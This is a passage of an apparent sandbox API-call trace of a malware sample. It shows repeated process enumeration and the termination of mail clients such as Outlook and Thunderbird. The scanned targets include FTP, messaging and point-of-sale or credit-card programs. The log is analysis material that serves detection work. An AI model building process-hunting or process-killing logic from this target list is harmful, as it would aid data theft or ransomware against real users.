szExeFile="beside-bedford.exe")) returned 1 [0092.043] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="curves.exe")) returned 1 [0092.044] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="vi-ieee.exe")) returned 1 [0092.045] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="costa.exe")) returned 1 [0092.046] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0092.047] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0092.049] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0092.051] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0092.052] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0092.054] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0092.545] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0092.547] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0092.549] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0092.550] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0092.552] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0092.553] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0092.555] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0092.557] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0092.558] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0092.560] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0092.561] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0092.563] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0092.565] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xa80) returned 0x310 [0092.565] TerminateProcess (hProcess=0x310, uExitCode=0x0) returned 0 [0092.566] CloseHandle (hObject=0x310) returned 1 [0092.566] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0092.567] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0092.568] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0092.570] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0092.571] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0092.573] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xea8) returned 0x310 [0092.573] TerminateProcess (hProcess=0x310, uExitCode=0x0) returned 0 [0092.574] CloseHandle (hObject=0x310) returned 1 [0092.574] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0092.575] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0092.577] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0092.579] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0092.581] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0092.582] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0092.584] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0094.584] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0094.586] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0094.588] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0094.589] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0094.591] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0094.593] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0094.594] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0094.596] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0094.597] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0094.599] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0094.600] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0094.603] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0094.605] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0094.606] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0094.608] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nascar_challenges.exe")) returned 1 [0094.609] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments characterized converter.exe")) returned 1 [0094.611] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mlb-noon-origin.exe")) returned 1 [0094.612] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.613] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1064, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0094.615] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0094.616] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0095.102] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0095.103] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0095.104] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0095.105] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0095.106] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0095.108] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1188, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0095.109] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.110] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0095.112] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0095.113] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0095.114] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0095.115] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x100c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1164, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0095.116] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xef0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0095.117] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xef0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0095.118] CloseHandle (hObject=0x304) returned 1 [0095.118] Sleep (dwMilliseconds=0x1f4) [0096.038] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x304 [0096.055] Process32FirstW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0096.056] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0096.057] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0096.058] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.058] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0096.059] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.060] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0096.060] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0096.061] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0096.062] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.062] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0096.063] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0096.064] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.065] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, 